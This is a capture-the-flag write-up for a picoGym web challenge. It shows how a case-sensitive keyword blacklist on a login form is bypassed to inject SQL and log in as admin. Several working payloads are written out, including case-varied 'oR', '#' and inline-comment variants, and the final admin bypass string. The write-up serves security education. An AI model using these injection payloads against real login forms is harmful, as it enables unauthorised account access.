The login form filters classic SQL keywords (spaces, OR, --) in an overly simplistic way. By varying the case and using syntactic equivalents, we bypass the filter and authenticate without a valid password.
| Platform | picoGym |
| Category | Web Exploitation |
| Points | 200 pts |
| Difficulty | Intermediate |
| Technique | SQL injection, filter bypass |
The challenge presents a classic login form, with a username field and a password field. Nothing else is provided in the prompt, aside from a link to the application:
"Log in as admin! http://saturn.picoctf.net:PORT/"
When we enter an invalid credential, the application returns an error message that hints at what's happening server-side: something like Login failed for user: ..., strongly suggesting a SQL query of the form SELECT * FROM users WHERE username='...' AND password='...'.
Classic reflex when facing a login form suspected of being vulnerable: attempt a basic SQL injection in the username field, leaving the password empty or arbitrary.
Username : ' OR 1=1 -- -
Password : anything
On a naive form, this payload turns the query into SELECT * FROM users WHERE username='' OR 1=1 -- -' AND password='...', which authenticates anyone. But here, the server's response is different:
403 Forbidden — malicious keyword detected
The site is therefore actively filtering certain keywords before executing the query. We need to understand precisely what's being blocked.
We isolate each component of the previous payload and test it separately to see which one triggers the block:
Test 1: Username = OR → blocked
Test 2: Username = -- → blocked
Test 3: Username = ' '(space) → allowed through
Test 4: Username = 1=1 → allowed through
Test 5: Username = oR → allowed through!
Two important observations emerge from these tests:
OR and the SQL comment -- when written exactly as-isOR, not a case-insensitive variantThis is a classic design flaw: a hardcoded keyword blacklist, applied with a case-sensitive comparison, without normalizing the string to upper or lower case before comparing it.
With this case-sensitivity flaw identified, we can rebuild a working payload simply by avoiding the exact spelling of the blocked words:
' oR 1=1 -- - → "oR" passes the filter, remains a valid OR in SQL
' oR 1=1 # → MySQL comment alternative (#) instead of --
Some filters also block spaces around keywords. In that case, a classic trick is to replace spaces with inline SQL comments, which are ignored by the SQL engine but don't contain the forbidden string:
'/**/oR/**/1=1/**/--/**/-
On this particular challenge, the case variation is already enough to pass the filter — no need to complicate things further.
We send the payload that passes the filter in the username field, with an arbitrary password:
Username : admin' oR '1'='1' -- -
Password : x
The query generated server-side becomes (schematically):
SELECT * FROM users WHERE username='admin' oR '1'='1' -- -' AND password='x'
The condition '1'='1' is always true, and everything after -- is commented out — the password is never checked. We get a success page showing admin access, with the flag:
Welcome back, admin!
picoCTF{***************************}
The flag is deliberately hidden — follow the method, you've earned it. 💪
This challenge illustrates why blacklist filtering is a fundamentally fragile defense against SQL injection: there's always a case variation, encoding, or equivalent syntax that the blacklist didn't anticipate.
Finding a flag hidden in three pieces across the HTML source code, a JS file, and a CSS file.
Discuss this writeup with the community on the CTFdojo Discord.
Join the Discord →